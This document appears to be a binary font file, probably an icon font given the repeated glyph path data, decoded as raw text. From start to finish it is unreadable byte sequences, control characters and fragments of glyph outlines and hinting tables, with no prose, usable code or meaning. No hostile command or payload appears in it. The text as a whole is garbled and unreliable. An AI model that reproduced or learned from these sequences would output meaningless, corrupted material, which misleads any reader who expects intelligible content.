	q*	f			SS*	}		}	*SS*	}		}	*SS*	}		}	*SS*	}		}	   	  v( 3 7 R [ d    @{tme;LK	PX@p r p  g  i  i  ij  

i  g  i  		gYaQKPX@q  p  g  i  i  ij  

i  g  i  		gYaQ@r  ~  g  i  i  ij  

i  g  i  		gYaQYY@O]\TS98 xwkia`\d]dXWS[T[OMJIC@8R9R7654-*!  32 +%2#!"&54>3!2#".6736?>54&#!"337#72+"&/&'&"&4632"&4623"&462#"&54?6?64&#?6763232?#"&462".4>2'2>4."		z);.*:
			"
"" ~.36		!	D\?9_88_r`88`9-M--MZL--Ld2$C'1$)D})

('
	&8_r_88_r_8)-MZM--MZM-   v(    # , 5 i m    @qL  g  i	
i  i gi  gYaQon76yvnomlkjc`WVRQFC=:6i7h430/+* +4&"267"&4624&"267"&4624&"267"&4622#!"&54>3!2#".6736?>54&#!"337#72+"&/&'&"&4632"&4623"&462*%4$$4%}*%4$$4%})$4%%4$r		z);.*:
			"
"" ~.36		!	D\^		$$4%%		$$4%%		$$4%%2$C'1$)D})

     v Q U q z  f@6YLKPX@ 
r 		~  

g  g  g! g  i g i   i  g  gYa Q@ 

 		~  

g  g  g! g  i g i   i  g  gYa QY@F|{srWV{|wvrzsznlhga^VqWqUTSRNLIGFDA?><875410$'# "+%#"&=#"&54?63!23232"&5#"&5#"&5#!2#!!2#!!2#!"&537#72+"&/&'&#"&4632"&4623"&462573+57	-	-0	^4		%		-26!
C\3	%	-		-	O		d		I		q	)

	    v( , 9 m q       \@#&uLK	PX@ r ## && &&~*  r 	 	g  j$"#i2!(1i'/% 0 i )  i  i, g+
i  gYa.-QK
PX@ r ## && &&~*  r 	 	g $$Y  j"#i2!(1i'/% 0 i )  i  i, g+
i  gYa.-QKPX@ r ## && &&~*  r 	 	g  j$"#i2!(1i'/% 0 i )  i  i, g+
i  gYa.-QKPX@  ## && &&~*  r 	 	g  j$"#i2!(1i'/% 0 i )  i  i, g+
i  gYa.-Q@  ## && &&~*   	 	g  j$"#i2!(1i'/% 0 i )  i  i, g+
i  gYa.-QYYYYA}             s r ; : . -                                                          } z r  s  q p o n g d [ Z V U J G A > : m ; l 4 3 - 9 . 9 " !    
     ,  , 3  +"&'&>264&'#.54>32&'.""&54622#!"&54>3!2#".6736?>54&#!"337#72+"&/&'&"&4632"&4623"&46226=4&""&=462'";26=4&#54>32#"6;2+"&5'264&""&5462"&5462264&+"&463+<%3&!420+=%3& e1			z);.*:
			"
"" ~.36		!	D\)):)(!W/$!  ! e*9))9*		@-!		!
) &-!	!@&)	M			2$C'1$)D})

kk*,k++k,k$		$62&"$!!_
		!,>=,!
     v( 3 7 R [ d }      %2#!"&54>3!2#".6736?>54&#!"337#72+"&/&'&"&4632"&4623"&462#762'46?#./>3"/&/57'&47>;#762'46?#./>3"/&/57'&47>;#762'46?#./>3"/&/57'&47>;		z);.*:
			"
"" ~.36		!	D\
.	$
	-,

#.
.	$
	-,

#.&
.	$
	-,

#.d2$C'1$)D})

07
!6
6!	07
!6
6!	17
!6
6!	    jR 	  ' 0 9 B a k t }          	@¹%L  gi.g#!" i/g	
 i   ) g ) (&)(i0& %&%g  g  'i $ '+$'g-+2,1*+*i W _ OϦbb|{xwsronbkbkhea_\YVSLIA@=<8776333+!54&#!"!3!2653#!".54>3!2!"&462"&462"&4627&=4>3!2+"&46;265!"%54&#!"7"&462"&462"&462&=4>3!2+"&46;265!"%54&#!"7"&462"&462"&46237#72+"&/01&'&"&4632"&4623"&462*q%%q%%)0000ST000S		S${	$%TSS<0//)		)%z%$SSTi~.36	!	D\^?$$i%$0000				S0061%b)?$$??					S0/6/%b*>%%>>		ݓ*

	   v    . O _ c g    @k
?	
Lc> J   g  i 
	
g 	 	gYaQihPP0/!}zysphigfeda`P_P^:965/O0O.!.+7>'%.546;+'!!"&?>3%6%2"&=!"&/76&546"&'&62#%!'%37#72+"&/&'&"&4632"&4623"&462G
		#->)L	WL	 #	
GLW
L
*?-36		!	D\`
KO	Az!*
%
*		y
"
*
%
*!\)

   v   ' 0 g   @h
<6OL 
g 
 
g  i g   g    g	Y	aQ)( |ymkebZWTQGEA>9831-,(0)0$#' '+37#72+"&/&'&"&4632"&4623"&462!2"&54&#!"&/&+"3!2#!"&54?>;2'.+".?>;2.67.?>;2&/.+"~.36		!	D\$		%(	+		%( "

,! ,-
)

$H
	]m,$nYI+	*T!	+~	   v( ' [ _ z  cLKPX@\  r 
 
g   g g  i g		i  gYaQ@]   
 
g   g g  i g		i  gYaQY@@|{a`)(  {|wurqkh`zaz_^]\URIHDC85/,([)Z ' &45+41#"&=463!2"&=#32+"&4632#!"&54>3!2#".6736?>54&#!"337#72+"&/&'&"&4632"&4623"&462}	M	}*}		I		z);.*:
			"
"" ~.36		!	D\4#!		6		6		!2$C'1$)D})

    
  v-   ' 0 W m { ~  @}bmLK%PX@ 
r   r ~ ~      

i  jg  i  i g    g	Y	aQ@ 

    ~ ~      

i  jg  i  i g    g	Y	aQY@I||nn)( |~|~n{nzutkjed`_ZYPO=<-,(0)0$#' '+37#72+"&/&'&"&4632"&4623"&462.67>54."'.546762762"/"&4?622"/&4635&>2654/&'"2'&/&5462"."2""&7462"&5-36		!	D\z
2:AppAPCN^LABC@&'CuuJ	1_%/3F2%
/3F3@)

#m?CsCCsCL|#WO'(('ADOIwxI	*aa#		**&	
	*)&		      R    ' + ; ? O S n w          
  !%!2#!"&546!%!2#!"&546!%!2#!"&546!%!2#!"&546737#72+"&/&'&#"&4632"&4623"&462%37#72+"&/&'&#"&4632"&4623"&46237#72+"&/&'&#"&4632"&4623"&462%37#72+"&/&'&#"&4632"&4623"&462wt_	*wt_	wt_	*wt_	Y!&
f
)0	D	Y!&
f
)0	D	Y!&
f
)0	D	Y!&
f
)0	D	(w*	`			*w*	`			w*	_	*w*	_	o&

		ao&

		mo&

		ao&

		     A'   ? M@J		    i
	g W _ O  =<98541/*'"   5#+5>232#!"&546;5."#"3!2654&+"&=#"&5MUTS#00#"11"}=z=*SS.TQTTRS0#"11"#0R@==?|y		yy		   A1   ? M@J		    i
	g W _ O  =<98541/*'"   5#+5>232#!"&546;5."#"3!2654&+"&=#"&5C[[I#00#"11"6r7>I				I.UTZ[US0#"11"#0R<77;				ddd   A'   2@/    Y   a  Q    5#+5>232#!"&546;5."MUTS#00#"11"}=z=.TQTTRS0#"11"#0R@==?     " , 6 B N Z Y@V   g	 
 i 
 
i W _ O--## @?:9-6-620#,#,)&	 "!+0137>3!232+#!"&'#"&4633!267/.#!"462"&5.?>&/&>}D#$D		,>
7#	#8
>,		W<"!<?@

#*+${*u*
									     " , 5 A M Y `@] 

 ~   g	 
 i W _ O--## ?>98-5-51/#,#,)&	 "!+2137>3!232+#!"&'#"&4633!267/&#!"462"&5.?>&/&>hgG+#,F#=
>&	'>
<$c:;?	@%/0's>i>     ) 5 A M A@>  g 	 Y
 		i Y _ O  43.- ) )&3##3# +#"&46;7>3!232+#!"&''.#!"26=4&"76.6%'.>A		D#$D		B<-
-(?@


""
						
    (  + 2 ? L U _@\  g 		g  g  
g
 
i  Y  a Q,,TSPOJIDC=<76,2,2%##33%"+264&"!2#!3!2#!"&'#"&46;2!26?4>2".%4>2".7264&"%4$$4%	 ;(:%		4Q
el		};7#08009/_080/90*$4%%3%%%4$$	'5)%/B3	 z0080/009/0%%4$$    3  , 3 @ M V _@\  g 		g  g  
g
 
i  Y  a Q--UTQPKJED>=87-3-3$3$33%"+264&"!2#!3!2#!".'#"&46;2!26?4>2".%4>2".7264&",* B+4"%A,dc} 6/5>54>5_5>55>5?,,,+9!*!9$44>5544>55,     ( " / < R@O    ~   g  g
Y
a	Q10$#760<1<*)#/$/##33% +!2#!3!2#!"&'#"&46;22".4>!2".4>	 ;'9%		4Q
el		}]0080/|009/0	'5)$0B3	L08009/080/90    (  + <@9      	 v  +*%$  
+"&5#"&4?62#46232"/&463"hh"i
XYY	          F W k e@b)hbL 	 
 i i  i Y a QYXIG fd_^XkYkPOGWIV87#" +2"'&'.4676761".5467276767>54&'&'&'#2>54.'2".=326564'VXSQ&"&R;QSXWTP<RS;PTW:CssC<<""%'1HOQQOI!"L1' 8[57_t_75[8..6. +#"A%"=h2@"##"@2h2i1@##\HVDsCCsD.P 0 0	-.*< !! <!0	Y,>9^7:_88_:7^9l.6..,        ! mLKPX@" r   gW` P@#    gW` PY@ !  +232#!"&=46;&5463!!,	RM	,OF,z,S   (  # 2 C@@  ~ g   W  _  O 1.)(#"	 +!".54>3!2"3!2654&#4?62#!"&:t$=##=$$=##=P	

	Jl#=$$=##=$t$=#7t7	

	    (   " B@?    ~g   W   _  O  !  +!%!"3!2654&2?64&#!"a&#22##22n	

	J&]2##22##2	

	     -  # 4 "@# 4L     v,++%&27%>4&6"'%.>6"'%.>^]


8&e	
f&&e	
f&e#&&#	,$%&"    ? = G Q g f@cSGgQ5
	f0)(!L   ~ ~     i Y a Qdc	+76217621"/&'"&4?'"&4?.6?'&4?62764'1&"764'1&"6?627<}<)Ku'dg)yy.yy!'tOt

				
	.!!K YX .q<}<*Su'!yy-y})gd'uKu
	



		.!XX!K!!.   
      # , 5 K c z N@432
LK
PX@Q 

 ~   i   ii	i W _ OKPX@K 

   i   ii	i W _ O@Q 

 ~   i   ii	i W _ OYY@=76%$
	 |{qpedML6K7K10)($,%, ##	
 +2"&462"&46!2"&462"&46!2"&46.'7"&'&'&>"'"767>'&'1&'&!'&'&547>762%!654'&'&"&&s&A&[&*0)i	!!')%
,
	2''Z]]Z''53W>=gkkg=>.&&S&&&&&&&&)	\.*%!&+"			CLOSe]Z''''Z]eTC"w}kg=>>=gk}   {c=   ( + 3 V c @*	FEW LRK 		
  g 	g  i  i h Y  i   W   _ O,,))  b`ZXTSQOIGDB?=75,3,3210/.-)+)+"('  ##+3!4&#!#13265"&54?63!2#''##37#"'&5476;54&#"5632;#.'5#"326 	  	O;:%%*.&%!">#(',		!	c	 M q 	<}\\J&%&	&l&)>   jR  B [ p @,65LK
PX@;    	 	i    i  iYa
QKPX@4   	 	i    i iYa
Q@;    	 	i    i  iYa
QYY@]\DCgf\p]pPOC[D[#,+462"&#.?67>754&+"&#&63276;2727632?6"'.'&47>762'276764'&'&"%3%%3%}*
	yhe]Z''''Z]]Z''''Z]e}kg=>>=gkkg=>>=gk""1""#F$	E#''Z]]Z''''Z]]Z''*>=gkkg=>>=gkkg=>   v<  ( < E N W @@= 0)L       Y a QDC@?76-,! +'%'.4>2&'&67%&6762&462".546264&">.>._O& 4;"_	";4"Oz&64>33
)=('?(818;83;
5;5J>&J6;4		5>(44)=f*(?'*817227 18      .  ) E \@Y    i	g  Y a
  Q** *E*DA?<;8631.- ))
 +"'&'&476762'276764'&'&"546232+"&=#"&463}lh>??>hlli=@@=il}dWT1331TWWT1331TW6&&q@=illi=@@=illi=@\31TWWT1331TWWT13&&      m 3 H ] t 9@6l]5LphdcXTSOC?:*)%#I     vji21+?6276/#/&?#'&57'&6?62'#767'&67%76'46?'"&/762'46?'"/ESKKOG2	`pG	Gpd	6)*`KXOy		)		yKX	Kd*yyyd>?d}
}
WB!CSOB"CW
yK\Cd2%:u	
u:!2`C\??`}}`
      m  3 J d u #K
PX@wu^OEA<8	dJ7L3 IKPX@wu^OEA<8dJ7L3 I@wu^OEA<8	dJ7L3 IYYK
PX@4 

  g 
 	
	i  i  Y a  QKPX@.   g
	i  Y a  Q@4 

  g 
 	
	i  i  Y a  QYY@ |{qpihWV0-(%  +7".54>3!2#!.?2?!2654&#!";276'46?'"&/&?'&6?62/%&462"&4?%"/&4?622222*$''&&;2	&6	6&>		T%%T		>
KKK;::KKq2$121qX%'$&&'
:6&22&
6:S:	KK	:S*KK:?;:KK     
      
1  "#01'7''&7>7898967>7''"/.46?>30127'701701676301327&76709898167670181'#01"'18981'2367181676'5'&'.'#01&#&8	9763012	2?64'&/&'897'77'"'&+"0167181675"/.54?#811OW\#0[?	&\	TM@HJK[X#/!O\[ %"'T%$%3+S!D%Z	"\![\\S
@E7F98!$
"&'O\![O*#`B"\!TG!*[S0#W!WO+ 

SF &%)
 (!&"!1%	Z	&_h[[\*S%E*$""&!99     9 ! 1@.     i   Y   a Q   ! !+5276764'&'&"#47676 `TQ0110QTTQ01uA?kook?AA?ko}u10QTTQ0110QT`ok?AA?kook?A    $ \ ` d h l'K
PX@N   r g    gg
Wg 		g_OKPX@B g   gg
gW_	O@N   r g    gg
Wg 		g_OYY@2ee]]lkjiehehgfdcba]`]`_^\ZWUPMHFCA@>96!#%5#!%5!+5#"&=46;2+!232+"&=46;54&#!32+"&=46;5!"32+"&=46;5463!3535#!3535#K				K*K



KK				KK



K(
6



)	

	
		
	

	*^𚚚     jAR  E /@,A	 L       Y  a   Q>;+54>2>54."&'&'&754&"/&'&'&3!26?54'&F 6@6 ,29ata:32@K	*:*"
D6A%$ʲ 7  7 ]7:c9:b:7^	^**Z D7"	#+     $ ,@) L   Y a Q 
 +"'&'&476762'54&">&qa_7997_aa_7997_aU C97_aa_7997_aa_796iu        : 3@0%  L        W _ O&9%<9+#!"'.46?676763!2'!"47>;2!2(		(g+g!&('
)',
	O2"('!!       ) H Y =@:?L    i   W   _  OJIRPIYJYED53:K+&'&3!267>'	#!"&5467>'4'&54>32"&'&2#"'&547>
!	s"1sA
w	*!	z	"{B1#
	6		

[!		      ( A H@EL 
	
	 	  W  _  OA?:720#%5!%5# +3232#!"&=46;5!32#!"&=46;546;5#"&=463!2+,qlmq,p0l,}tt},t   ( ^"K
PX@0
 L#JKPX@0
 L#J@0
 L#JYYK
PX@6 	 		
	
~ 

 g_OKPX@5 	 		
	
~ 

W_O@6 	 		
	
~ 

 g_OYY@   ^ ^][QOHGFE?>64/.-++"/"&=6?>235#"&'&546?>;+354?632"&'"&=#32#"/.46?>;5KK		G		K(G	K	KK    (  ! "@  i   Y  a   Q+"&'&4767622?64/&">|>>><kiܯ!$	Ci||ikkh?>|%%%    c  # @@=  L     g  g W _ O%%3+>3232"'.7#"&573#7#
0S	

[q>'dA	

	A7=     x 7 ,@)    i  g Y a Q5(++"/&6767>#&'&'&6763276+".7DBDN%&BD),,7_\im65n_[jl_>P'%&BCN%&C,_55p^]in648?     (   2 1@.
 L   i   Y   a Q)(22'+327.72654'&'&#&"'&'&476762>/.OR`t`K?/.OR`973}kh<??<hkkg=>>=gk&Xp_QO/0GM)Wq_QO/0>=gkkg=>>=gkkg=>              # ' + / 3 7 ; ? C G K O @,+*)('&%$#"	!  
  v884400,,(($$    8;8;:9474765030321,/,/.-(+(+*)$'$'&% # #"!
	  -+#3#3#3#3#3#3#3#3#3#3#3#3#3#3#3#3#3#3#3#}*T*S%O!K"KGGBCC?::7622..    ( " , < L \ l |     @&L 	g	
	ggg   W  _   O/-zwrojgb_ZWROJGB?74-</<##32&#+#!.546;56;23546;232!3!26#"&=46;27+"&=46;2+"&=46;2+"&=46;2+"&=46;2+"&=46;2+"&=46;2+"&=46;2+"&=46;25#n$45#WK

K	X)7Xnz	)K		K
	K

K		K

K		K

K	
K		K
g	K

K		K

K	
K		K
g	K

K	\%35$y%3`	``		`3jr
K		G


K		K

K				G

G		G

G		G

		G		G		G		G		G		        e  @    v+>32"/.47P		\6		        e  @    v#+&'&#"2?>4'		\	6		         @ L     v(+#!"/4&54?62	
5			     8 E +@(         vED?>+"&4?>"&4?>.62.6?6267"&4?62' 'ihN'' $55' 'hiN''&44'* ''Nhi' '54$[('Nhi')45$''      (  " *@'      Y  a   Q+"&'&476762'&"2764'&">|>>><kiFm&%f'Ci||ikkh?>|Fl&Z&       @L     v+62"/&462-1&2&2q&1-1&      ;  ! @   v+"'&4762"'&47620&1,1&&1,1&^1&'5(&21&'5(&2    @  ! FK
PX@     vKPX@   v@     vYY+2764'&"2764'&"&2,2&&2,1%^1&'5(&21&'5$%3      q 4 2@/& L    i  g Y a Q5'*'+4676'"&'.367674.'&'&;2>'EDBDN%&MK*-,8^]il64ohm`	?P'%&BDRLD,_55p^\iml7	?
       X   # A@>   g g W _O #" 
	+"&463!2#"&463!2#"&463!2#`  , Q  6! C!!E   , !+ !,  ,! ,  ,    (  ) 1@.  i  Y a  Q  ))
 +276764'&'&"7"'&'&476762}kg=>>=gkkg=>>=gk}_QO/00/OQQO/00/OQl>=gkkg=>>=gkkg=>l/.ORRO.//.ORRO./   (  @     v+"&'&476762>|>>><kiCi||ikkh?>|      (  ) ; A@>8/L     i Y a Q 52 ))
 +"276764'&'&'2"'&'&47676/546;2dWT1331TWWT1331TWd}kg=>>=gkkg=>>=gk	!lC31TWWT1331TWWT13W>=gkkg=>>=gkkg=>	X6
!     E R =@:B%#<. LJ:10 I     vGFMLFRGR?>+%'6'7>5&'&&'54&'&'&?7>=676767&'&".4>2KKCK57
``	>+K	@ KKDK94	a_
<0K?!f'A&&ANA&&A*?9*WP*(SW*.	H_)@9*TS**WW**Eb%ANA&&ANA%      M X   K
PX@57 MJ@
ץ}sqgcL0)$"JKPX@57 MJ@
ץ}sqgcL0)$"J@57 MJ@
ץ}sqgcL0)$"JYYK
PX@;     g  i  i	
i Y _OKPX@5   i  i	
i Y _O@;     g  i  i	
i Y _OYY@³POLK=;64'+'&'.?&'#"&5&746;67'&767267676332+&//>'&/'.=&'&'&'&6?&7'.76767>676754676766'.'&'&/.?&'#"5&746;67'&6767667>32+&/>'& 	


((2

-	
)2:&)*	&-2
	
	*17%+)
+	27&*'7&*


C((	

		T((.-
--"
,/*2	2.
$	2*-P'*&7'*'7
	T((       ? ] l@iIC%	F3	L  
 
i 	 i		Y		a 	QA@
	 TS@]A]640.??	
 +"264&3"264&3"264&"327673276764'&'&"/6?'&'&5476762,""0""""0""""0""{kh=?.II26J]}kg=>>=gk}DJ)"62&31TWWT1331TW ,  ,  ,  ,  ,  , 520SVd<:61 !"20RVUR/1z"+2&&.1LA?%&&%?AA?%&      (  / A L2K
PX@5#	?	-LKPX@5#	?	-L@5#	?	-LYYK
PX@< r    g  	g
 	
	ggW_ OKPX@6   g  	g
 	
	ggW_ O@< r    g  	g
 	
	ggW_ OYY@#CB10EDBLCL><970A1@,*'%//#73+'.#!"#&3!26=32654!"&546;;7!"&546;;##5323k\	#0&1"#0#01"	mV[2%X("12%X2%&P&	p#4K&	qZ   F  / G o J@GF5 ,L       i  i Y a Qa]*+2767#"'&'.=2767"'&'&'&=72767"'&'&'&'&=62#"'&'&'&'&=467676nlZ<-C(bQkH\%=Yfd]9AAGG\%
(6nl\:->DHH1#
;xGH0#.#%62+A1$'# 2'(PP(&O!	O'O 
O':
 :      (  ) I D@A  ~  i  Y a  Q EC53 ))
 +"'&'&476762'276764'&'&"#"'&'&'&5476767632}kg=>>=gkkg=>>=gk}_QO/00/OQRO/00/OR ")' ")$l>=gkkg=>>=gkkg=>l/.ORRO./0/ORRO/0")' ")'          @ *@'L      v"!30!@"@.6+6#!"&5467276?67627676767676=4&#!"
2%#4
+gq*-&"**dg6X"	c 2%%2X" #53%j!NS!MM(uK!#52&!E   (  % <@9L    g Y _ O "
 +!2#!"&546	27>?4&#"}#00#"11u&1O

(0#"11"#0t1&O
    0 ; ;@8732-"	 LKI   W _ O ;9 00+2"/+#'&?5467'.54?627>	';>*	h2`2	\p:	2`2h2f\O*2Bh2`2	:q_	2`2hY
XK       @      v#53+#!"&546;2!2K2f2KJ32Kn3Jt2KK23JK2J      g@SD6
LVKK
PX@B   

 
	
	~     g Y  		i aQKPX@6   
	
	    g Y 		i aQ@B   

 
	
	~     g Y  		i aQYY@ggfdba`^PO875420/.*+3'&'&5>763267673"&#"#5737672627527=4'&'&'&'&/#42;"'&+W{	 Bh
"!6S6?.9"B	12%*.+1@2*	;:D6	$7 
	*	
'"	*      (    )@&  i  Y a   Q  +276764'&'&"2*>=gkkg=>>=gkkg=>\PN-//-NP^}kg=>>=gkkg=>>=gk-/-NPPM./      (   ( c@`K  ~ ~	   g g
W
_ O  '&%#( ( +!"#&3!26=3265.!!7#4&#!5!g%2T%22%?#5W#54?X2%t?(1&X1&#02%X2%7&1s#5S       1 @' J   v+..267>'&'.767>7>_4113@%18$&#84)j",#XX#:?!XZ", +*11*+6KF180EL9"_03&!C>!"3.a"      | 7 I 9@62 E<(&L     i Y a QB?+#+6762"'&'&>26764&'&#01"&5?636/546;2!7^mj\_l35\`7-,'CBKO&%NCAFC	!lC
y'856mj\_k35`-C&%NCA&#'B	X6
"         ) 7 h@e61,L 	   g
 i g W _ O+*"! 43/.*7+7&%!)") 
 +!"3!265."&5463!2#!"264&!5'&"'&"g%22%#53	+++9*)e`KK1&#42%/&1~		+8++9*_ħKK   (   F <@9 i  g   W  a  Q 64'%
 +276764'&'&"2"&46.547>;2+'&'&5467676=4'&}kg=>>=gkkg=>>=gk}'>	y			

l>=gkkg=>>=gkkg=>**	
	       # J &@#       vJI43#"+6?>&'&"&4?>&'&4627.6?62'.6?>7:u T"2,2)poR!+y+qo) />8:y8:6+ 6)o78R +y+qo)-Ey87"2 +2+!Roq+u+ )+ y876 +6* Roq+y+ )+     3  @    W _ O#++%/&4?6!2#!$		\%%

	p&2%     3  @    W _ O#++%?64/&!"3!

%%\

	p&2%     <  @  L     v5+"/&463!2;
     % G @D/	 J   v)'+&'&'&'.'&54767676?676#"&'&'&57676767676s@3-<Ea',Cq?b !"( `{RG	
  :EW',%C2*$77:

",A#,         * 1 >@;/.-I     ~  Y a Q10,+$#+"/&4?62%?64/&"&4762'3'73|KKA`S":Oh2:OOdC.B%b?;l    (  ) 7@4~    i Y a Q###%+>2"&'&4#";26=3264&+54&"h>||>>&&Ci||||ikL&&     8 H _@\2	L  

  		   
 
ig		Y		a 	Q:9  A@9H:H76*)   ###+546232+"&=#"&463#"'&'&476762"'%2>4'." , G  G , G  Q/n;eUS0220SUUS01$# +EwF$"wx"$F;<G  G ,!F!!F!, #$20SUUS0120RVd?n,, Fw<:FF:=x"$       # / ; G r@o  	 	  

g g  g 		Y 		a	Q=<10%$ C@<G=F740;1:+($/%.#"	 +%132"/&>;462"&463!2#"&46;2#"&46;2#"&463!2#S	S!, &&&&&&%%&&:%%:&&%%

L%% ,  ,  ,!!,  ,  , q ,  ,        5 @@=  ~g   W  a  Q2/(%"55%#	+	"&=#"&=46;5462#";2+".54>;2$$0 00 /O--O/="00&-O/^/O-&   (    & 0 9 B y@v.L     ii	Y
		ia Q;:21('?>:B;B651929,+'0(0%$! %+"&54>32"264&"264&4&"26"265.!"264&"264&L3J2(#5X#43G54O#52K22I3I/2J/#52L12#52L12#53J24#55#(2I3I/2I0w3J24F5X#54G433J22%%33J22K22J32K2     (  @     v53+#!"&5463!2fDHcfE?Gc~HcfE?Gcf     +  ( & 2+/.?>'7>&''7'?q
((
p*())*)hl&&!*$yy
#,"uu&%     +  2+?>'7>&/.p*)))q
((&$.#
uu
#,$&         # / R@O g 
g 	g   W  _  O%$ +($/%.#" 
+"&463!2#%"&463!2#%"&463!2#%"&463!2#h%%%%%%%%%%%%%%%%!,  ,! ,  ,  ,  , !,  ,!         # / R@O g   g 	g W _
O%$ +($/%.#" 
+"&463!2#"&463!2#"&463!2#"&463!2#&&l#&&&&&%%%%&&'' ,  ,  ,  , !,  ,!q . ,!      5 Q @LK
PX@"       W  a   QKPX@     W a   Q@"       W  a   QYY@	.->))+>54/&'&#"32"'&'.'&=4>;2#"/&'7654'&'&#32		&9	 Z

mZ		
Z	
%
Z
       # / R@O g   g 	g W _
O%$ +($/%.#" 
+"&463!2#"&463!2#"&463!2#"&463!2#h%%&&%%q&&%%%%%%%% ,  ,  ,  , !,  ,!q!,  ,!       # / R@O g   g 	g W _
O&$ ,)$/&/ ## +!"&463!2!"&463!2!"&463!2!"&463!2&&%%&&q%%%%%%%%%% ,  ,  ,  , !,  ,!q!,  ,!      (  , %@"&L       v+"&'&476762764.'&?>'>|>>><ki}&}}%}}'}}#Ci||ikkh?>|}%}}$}}%}}#   (  3 ; ? O q@n1M L   
 
~  g	i 

W 

_ 
OB@ JG@OBO?>=<;:76.,)&#!33
 +%32654&+"#'.+"#";3!265326=.%4;2#!!32654&+"L)

)
&>%%:2"#00s*		*
?			|\dd#42%X22PX			|   k  R d@a<2R=('L ~ ~ ~	   i Y _ O OMIGCA87/-%#	 
+!"3!2>54.#"'&'&'&#"#"&5.546236763232767632	Y.--.s
6N'6&C5#
-Y---	"Y	&& $
		   (  & ; H Q \@Y L  i  		ii   i   Y   a
 QJI=<('NMIQJQCB<H=H21';(;%$#+%327&'&#"'67632>54'&'&""'&'&476762".4>2'264&"9*/11bZ*/F9dr3EHOWT7-&)/.ORRO./3}kg=>>=gkkg=>>=gk}1R00RbR00R1++8++:6"0=!#-5-r>_QO/00/OQ_<;8>=gkkg=>>=gkkg=>0RbR00RbR0l+8+*9+            @ L   v 
 +!"3!2656.>54.?6,+ ,$%&+J(*!;tt
        @ J   v+&'&'.27>'&g1>;v-&!-xz/7 1Z0Z1)

(.&&-''/DA3b1BE       % / @J     v,+('+	.67&767676226?264.u65&w.0D@='":G	//!"I*65w=>A-1N
>G>3+!	$     (  3 A C@@L  ~    i  i Y a QD,+>2"&'&4356?>54'&'&#"347676322654'&"h>||>>T&%"7&`	"/3Ci||||ik'6:&3	 "      .  ) S b b@_QL  ~  i  i  		i  Y a
  Q _^XWSRFD@?98 ))
 +"'&'&476762'276764'&'&"4?67>767654&"#47>32#4762"'.}lh>??>hlli=@@=il}dWT1331TWWT1331TW6
	4`*4!F'%X1/	q@=illi=@@=illi=@\31TWWT1331TWWT130	B!AX    (  + @ G@DL     i gYa Q-, 76,@-@'$+ +$	+%/#"'&'&476762%!2#!"&546276764'&'&"*2|Gk\Z5665Z\\Y56RFC())(CFFC())'DF))*65Z\\Y5665Z\jBA;)'DFFD'))(CFFC()      (   1 [@X    
  g	g W _ O 10-+('$" +!!72#!.54635463232+"&=#"&463c"&12%&12%A&&[1&#53%&1d&&   (     A@>  g g W _ O   	+!!72#!.5463"&463!2#c"&12%&12%&[1&#53%&1&&   (   $@!     v+>2"&'&4!264&#!"h>||>>BCi||||ik&&     .  ) 5 B@?  i g  Y a  Q+* 1.*5+4 ))
 	+"'&'&476762'276764'&'&""&463!2#}lh>??>hlli=@@=il}dWT1331TWWT1331TWyq@=illi=@@=illi=@\31TWWT1331TWWT13E&&        - @- L  v)(! +'&462"&47.7>"/&4?62J} ++ &,&--,}9},+ +&'+ +,}          6 3@0  i   W  _   O65#6)7+#!".54>7>32;26=32?64/&#"31R04X3>i>5]:&PDwP
}	K	
6U15Z4?k?<fAIV=m

		     , 6@3L    i  Y a   Q%$,,"+%#"'&'&476762"'%2>4'."/n;eUS0220SUUS01$# +EwF$"wx"$F;<u#$20SUUS0120RVd?n,, Fw<:FF:=x"$    (    $@!     v  (+476762#"&'$%2>4."h64Z\\Z467
$"9""9D9""9k\Z4664Z\k]-0E!:D:!"9D9"    gT , j E:K
PXA' d     \    	 [    U 6 ! 
   )  
  ?   
 G          LKPXA' d     \    	 [    U 6 ! 
   )  
  ?   
 G          LA' d     \    	 [    U 6 ! 
   )  
  ?   
 G          LYYK
PX@N		 		~ ~ ~  i  

i    i Y  i a QKPX@I		 		~ ~ ~  i  

i    iYaQ@N		 		~ ~ ~  i  

i    i Y  i a QYYA  l k=<     t s k  l  h f O M J I D C , *      +6"'.'&'.767&76767676766?6?37>&/7>&/76'.'&'&22767676'&'&'&76767676'&'.'&767676&'.?6?67676767676&&'&>76?>126?6?676767>5''&'&767>76.3'&/&'.LPLJ-/.0
"51;F-,k-1shC7(&'
	)*=!FDOR6$#%!$19U_($[IA7+,	)'R355
9IF<>/
!	

 
	':) 

		8"
		#
		
.

1$1%@BRUb$5wj")4 !2a7(&h47*8><-.N/.'&36/"0,[!8R)6.&]h-NE71.?	
+*,d	
:&H=
'* 1R 
07

@=!J'( 		+

N$-)
>6,$	>(%7	 8C$9    ~A  " 1 : D N @ -(%L  
 
g 	 	g  g i W _ OFE<;32 JIENFM@?;D<C762:3:0/'&"" +!2!"&/467!!"!2?4&!57>7>%2"&462!5463%2!5463"1.""2.",KN**:+*SX.""2."."2V|ŇKN5+:+*<***t**      ( - ?@<  gW_ O '$! 	 -,	+2+"&=#32#!"&=46;#+"&=463AQRA(BBBnB       ' w  AK
PX@/ut.q1edb=<:6
 WVSKJGE!
L2^KKPX@/ut.q1edb=<:6
 WVSKJGE!
L2^K@/ut.q1edb=<:6
 WVSKJGE!
L2^KYYK
PX@(          vKPX@$        v@(          vYY@pn'%	+?3?#!"&'54>73%6276#+''"&=&/&'&'&'4737&75/.767>;6?546&32656&2".4>3m0)&&(4X4!13&)	&&&% 	13&&&&%Q*	#(84X44XhX32XM#		&<,
&C5Z7x2	0'2&-2	1&2		-*(4YfY43XjX3    jR   ) 5 D R b n ~   @rz9
	OH
@L{sA
:K  g  g g g g 	i
 
g	 	i g i W _ OoodcTSFE66+* o~o~wvjgcndm\YSbTaMKERFR6D6D?=1.*5+4# )(	  +2#!"&5463!!267%2+"&=4632#!"&463'2#"'54672!"&5467'2+"&=4632#!"&463'2#"&'54672!"&47!"!54&'V&&<&&
		*				_		S
.

"	
[	
O		*				_		S
.
"	
[	<
R%%%l%&		*

*	
-.
		*		*	
.
.	
mi    ! % H@E L   g gW_ O %$#"	 !!	+2!32!"&546735!"&'467!!k".,#".,#,#[".KK,#".S_     ! ( 7 @,@#L
KKPX@H  
r 		r W  g 
 
g  g		W		` 	PKPX@I   		r W  g 
 
g  g		W		` 	P@J   		 W  g 
 
g  g		W		` 	PYY@-*)"" ?>;:652/,+)7*7"("('&%$
